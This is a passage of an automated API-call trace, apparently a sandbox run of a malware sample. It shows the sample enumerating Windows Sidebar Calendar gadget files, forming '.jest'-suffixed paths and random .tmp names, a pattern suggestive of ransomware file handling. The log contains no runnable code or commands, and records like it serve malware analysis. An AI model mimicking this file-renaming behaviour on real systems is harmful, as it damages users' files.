lpFileName="frBerCV-L-bSyXDuSLA0nh8V_jmX85X2wrgBHz-O OXAmixdeATrc8LGz ndXPcY LHMRDzX2m7ozOG-oFOVpu69h-GUbaOlmzO.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\frBerCV-L-bSyXDuSLA0nh8V_jmX85X2wrgBHz-O OXAmixdeATrc8LGz ndXPcY LHMRDzX2m7ozOG-oFOVpu69h-GUbaOlmzO.tmp", lpFilePart=0x18e6e4*="frBerCV-L-bSyXDuSLA0nh8V_jmX85X2wrgBHz-O OXAmixdeATrc8LGz ndXPcY LHMRDzX2m7ozOG-oFOVpu69h-GUbaOlmzO.tmp") returned 0x8e [0124.974] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\frBerCV-L-bSyXDuSLA0nh8V_jmX85X2wrgBHz-O OXAmixdeATrc8LGz ndXPcY LHMRDzX2m7ozOG-oFOVpu69h-GUbaOlmzO.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x65427266, cFileName="rCV-L-bSyXDuSLA0nh8V_jmX85X2wrgBHz-O OXAmixdeATrc8LGz ndXPcY LHMRDzX2m7ozOG-oFOVpu69h-GUbaOlmzO.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0124.974] GetLastError () returned 0x2 [0124.974] GetLastError () returned 0x2 [0124.974] SetLastError (dwErrCode=0x2) [0124.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0124.975] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0124.975] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0124.976] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", lpFilePart=0x18e870*="calendar.css") returned 0x4f [0124.984] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css.jest", lpFilePart=0x18e870*="calendar.css.jest") returned 0x54 [0124.986] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", lpFilePart=0x18e6d8*="calendar.css") returned 0x4f [0124.986] FindFirstFileA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0x6c, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 0x143ce48 [0124.986] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0124.986] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0124.986] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", lpFilePart=0x18e780*="calendar.css") returned 0x4f [0124.988] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", lpFilePart=0x18e780*="calendar.css") returned 0x4f [0124.988] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0124.988] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x0)) [0124.988] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x0)) [0124.988] GetUserDefaultLCID () returned 0x409 [0124.989] VarBstrFromR4 (in: fltIn=0x47944480, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913") returned 0x0 [0124.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x147295c, cchWideChar=1 | out: lpWideCharStr="b") returned 1 [0124.989] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", lpFilePart=0x18e780*="calendar.css") returned 0x4f [0124.990] GetFullPathNameA (in: lpFileName="entxx5kNdvvHxbO4Mhp_O-U_hFLD_IRX3QbwCjBOVJrHt9TXLQk9pq9HjcVvc93bXLVCHYE FU-zImqgdJJOfghM 0IWGfI1bkr.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\entxx5kNdvvHxbO4Mhp_O-U_hFLD_IRX3QbwCjBOVJrHt9TXLQk9pq9HjcVvc93bXLVCHYE FU-zImqgdJJOfghM 0IWGfI1bkr.tmp", lpFilePart=0x18e708*="entxx5kNdvvHxbO4Mhp_O-U_hFLD_IRX3QbwCjBOVJrHt9TXLQk9pq9HjcVvc93bXLVCHYE FU-zImqgdJJOfghM 0IWGfI1bkr.tmp") returned 0x8d [0124.990] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\css\\calendar.css", lpFilePart=0x18e708*="calendar.css") returned 0x4f [0124.991] GetFullPathNameA (in: lpFileName="entxx5kNdvvHxbO4Mhp_O-U_hFLD_IRX3QbwCjBOVJrHt9TXLQk9pq9HjcVvc93bXLVCHYE FU-zImqgdJJOfghM 0IWGfI1bkr.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\entxx5kNdvvHxbO4Mhp_O-U_hFLD_IRX3QbwCjBOVJrHt9TXLQk9pq9HjcVvc93bXLVCHYE FU-zImqgdJJOfghM 0IWGfI1bkr.tmp", lpFilePart=0x18e6e4*="entxx5kNdvvHxbO4Mhp_O-U_hFLD_IRX3QbwCjBOVJrHt9TXLQk9pq9HjcVvc93bXLVCHYE FU-zImqgdJJOfghM 0IWGfI1bkr.tmp") returned 0x8d [0124.991] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\entxx5kNdvvHxbO4Mhp_O-U_hFLD_IRX3QbwCjBOVJrHt9TXLQk9pq9HjcVvc93bXLVCHYE FU-zImqgdJJOfghM 0IWGfI1bkr.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x78746e65, cFileName="x5kNdvvHxbO4Mhp_O-U_hFLD_IRX3QbwCjBOVJrHt9TXLQk9pq9HjcVvc93bXLVCHYE FU-zImqgdJJOfghM 0IWGfI1bkr.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0124.991] GetLastError () returned 0x2 [0124.991] GetLastError () returned 0x2 [0124.991] SetLastError (dwErrCode=0x2) [0124.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0124.991] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x1436794, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0124.991] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0124.993] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png", lpFilePart=0x18e870*="bg-desk.png") returned 0x51 [0125.027] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png.jest", lpFilePart=0x18e870*="bg-desk.png.jest") returned 0x56 [0125.030] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png", lpFilePart=0x18e6d8*="bg-desk.png") returned 0x51 [0125.030] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3769c1c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb3769c1c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb3769c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x6a6, dwReserved0=0x60, dwReserved1=0x0, cFileName="bg-desk.png", cAlternateFileName="")) returned 0x143ce48 [0125.030] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x1436794, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.030] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png", lpFilePart=0x18e780*="bg-desk.png") returned 0x51 [0125.031] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png", lpFilePart=0x18e780*="bg-desk.png") returned 0x51 [0125.031] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.031] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x2f)) [0125.031] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x2f)) [0125.031] GetUserDefaultLCID () returned 0x409 [0125.031] VarBstrFromR4 (in: fltIn=0x47944486, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.05") returned 0x0 [0125.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="‘") returned 1 [0125.032] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png", lpFilePart=0x18e780*="bg-desk.png") returned 0x51 [0125.032] GetFullPathNameA (in: lpFileName="L_8TKAesrxUb8chcgaISCMX8SEMZqvDZLrDtbu_KhoydPpWxDsHxdbzk8EfvFnWk3EvLBXLUEyLsExTDv7rp5Z2fqrvIxUz_d-6N.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\L_8TKAesrxUb8chcgaISCMX8SEMZqvDZLrDtbu_KhoydPpWxDsHxdbzk8EfvFnWk3EvLBXLUEyLsExTDv7rp5Z2fqrvIxUz_d-6N.tmp", lpFilePart=0x18e708*="L_8TKAesrxUb8chcgaISCMX8SEMZqvDZLrDtbu_KhoydPpWxDsHxdbzk8EfvFnWk3EvLBXLUEyLsExTDv7rp5Z2fqrvIxUz_d-6N.tmp") returned 0x8e [0125.033] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-desk.png", lpFilePart=0x18e708*="bg-desk.png") returned 0x51 [0125.033] GetFullPathNameA (in: lpFileName="L_8TKAesrxUb8chcgaISCMX8SEMZqvDZLrDtbu_KhoydPpWxDsHxdbzk8EfvFnWk3EvLBXLUEyLsExTDv7rp5Z2fqrvIxUz_d-6N.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\L_8TKAesrxUb8chcgaISCMX8SEMZqvDZLrDtbu_KhoydPpWxDsHxdbzk8EfvFnWk3EvLBXLUEyLsExTDv7rp5Z2fqrvIxUz_d-6N.tmp", lpFilePart=0x18e6e4*="L_8TKAesrxUb8chcgaISCMX8SEMZqvDZLrDtbu_KhoydPpWxDsHxdbzk8EfvFnWk3EvLBXLUEyLsExTDv7rp5Z2fqrvIxUz_d-6N.tmp") returned 0x8e [0125.033] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\L_8TKAesrxUb8chcgaISCMX8SEMZqvDZLrDtbu_KhoydPpWxDsHxdbzk8EfvFnWk3EvLBXLUEyLsExTDv7rp5Z2fqrvIxUz_d-6N.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x54385f4c, cFileName="KAesrxUb8chcgaISCMX8SEMZqvDZLrDtbu_KhoydPpWxDsHxdbzk8EfvFnWk3EvLBXLUEyLsExTDv7rp5Z2fqrvIxUz_d-6N.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.033] GetLastError () returned 0x2 [0125.033] GetLastError () returned 0x2 [0125.033] SetLastError (dwErrCode=0x2) [0125.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.033] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x142fffc, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.033] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.034] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png", lpFilePart=0x18e870*="bg-dock.png") returned 0x51 [0125.040] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png.jest", lpFilePart=0x18e870*="bg-dock.png.jest") returned 0x56 [0125.042] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png", lpFilePart=0x18e6d8*="bg-dock.png") returned 0x51 [0125.043] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e7160b, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb7e7160b, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb3769c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x557, dwReserved0=0x60, dwReserved1=0x0, cFileName="bg-dock.png", cAlternateFileName="")) returned 0x143ce48 [0125.043] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0125.043] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7ec, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0125.043] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png", lpFilePart=0x18e780*="bg-dock.png") returned 0x51 [0125.043] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png", lpFilePart=0x18e780*="bg-dock.png") returned 0x51 [0125.044] VarDateFromUdate (in: pudateIn=0x18e9f8, dwFlags=0x0, pdateOut=0x18e9d4 | out: pdateOut=0x18e9d4) returned 0x0 [0125.044] GetLocalTime (in: lpSystemTime=0x18ea14 | out: lpSystemTime=0x18ea14*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x3e)) [0125.044] GetLocalTime (in: lpSystemTime=0x18ea3c | out: lpSystemTime=0x18ea3c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x5, wSecond=0xd, wMilliseconds=0x3e)) [0125.044] GetUserDefaultLCID () returned 0x409 [0125.044] VarBstrFromR4 (in: fltIn=0x47944488, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75913.06") returned 0x0 [0125.044] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14aaba4, cchWideChar=1 | out: lpWideCharStr="\x02") returned 1 [0125.044] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png", nBufferLength=0x104, lpBuffer=0x18e8b8, lpFilePart=0x18e780 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png", lpFilePart=0x18e780*="bg-dock.png") returned 0x51 [0125.044] GetFullPathNameA (in: lpFileName="P2RxwpE-f-JHZbtHtpSvLsDL1HKMCJo7irDH7SAO7ncqFuuybAIm3auwr-CiXDOWc54C-s5KzK6oK1RfOhrBiI5mQi2_oQv9egt.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P2RxwpE-f-JHZbtHtpSvLsDL1HKMCJo7irDH7SAO7ncqFuuybAIm3auwr-CiXDOWc54C-s5KzK6oK1RfOhrBiI5mQi2_oQv9egt.tmp", lpFilePart=0x18e708*="P2RxwpE-f-JHZbtHtpSvLsDL1HKMCJo7irDH7SAO7ncqFuuybAIm3auwr-CiXDOWc54C-s5KzK6oK1RfOhrBiI5mQi2_oQv9egt.tmp") returned 0x8d [0125.045] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-dock.png", lpFilePart=0x18e708*="bg-dock.png") returned 0x51 [0125.045] GetFullPathNameA (in: lpFileName="P2RxwpE-f-JHZbtHtpSvLsDL1HKMCJo7irDH7SAO7ncqFuuybAIm3auwr-CiXDOWc54C-s5KzK6oK1RfOhrBiI5mQi2_oQv9egt.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P2RxwpE-f-JHZbtHtpSvLsDL1HKMCJo7irDH7SAO7ncqFuuybAIm3auwr-CiXDOWc54C-s5KzK6oK1RfOhrBiI5mQi2_oQv9egt.tmp", lpFilePart=0x18e6e4*="P2RxwpE-f-JHZbtHtpSvLsDL1HKMCJo7irDH7SAO7ncqFuuybAIm3auwr-CiXDOWc54C-s5KzK6oK1RfOhrBiI5mQi2_oQv9egt.tmp") returned 0x8d [0125.045] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\P2RxwpE-f-JHZbtHtpSvLsDL1HKMCJo7irDH7SAO7ncqFuuybAIm3auwr-CiXDOWc54C-s5KzK6oK1RfOhrBiI5mQi2_oQv9egt.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x18e6e4, ftCreationTime.dwLowDateTime=0x18eb48, ftCreationTime.dwHighDateTime=0x18ea3c, ftLastAccessTime.dwLowDateTime=0x18e7f4, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e81c, nFileSizeHigh=0x18e6ec, nFileSizeLow=0x18e842, dwReserved0=0x7a5901, dwReserved1=0x78523250, cFileName="wpE-f-JHZbtHtpSvLsDL1HKMCJo7irDH7SAO7ncqFuuybAIm3auwr-CiXDOWc54C-s5KzK6oK1RfOhrBiI5mQi2_oQv9egt.tmp", cAlternateFileName="Pê\x18")) returned 0xffffffff [0125.045] GetLastError () returned 0x2 [0125.045] GetLastError () returned 0x2 [0125.045] SetLastError (dwErrCode=0x2) [0125.045] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0125.045] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4078b8, cbMultiByte=-1, lpWideCharStr=0x14da7c4, cchWideChar=7 | out: lpWideCharStr="Apache") returned 7 [0125.045] RaiseException (dwExceptionCode=0xc000008f, dwExceptionFlags=0x1, nNumberOfArguments=0x2, lpArguments=0x18e7d8) [0125.046] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png", lpFilePart=0x18e870*="bg-today.png") returned 0x52 [0125.050] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png.jest", nBufferLength=0x104, lpBuffer=0x18e9a8, lpFilePart=0x18e870 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png.jest", lpFilePart=0x18e870*="bg-today.png.jest") returned 0x57 [0125.051] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png", lpFilePart=0x18e6d8*="bg-today.png") returned 0x52 [0125.051] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\bg-today.png", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e9776a, 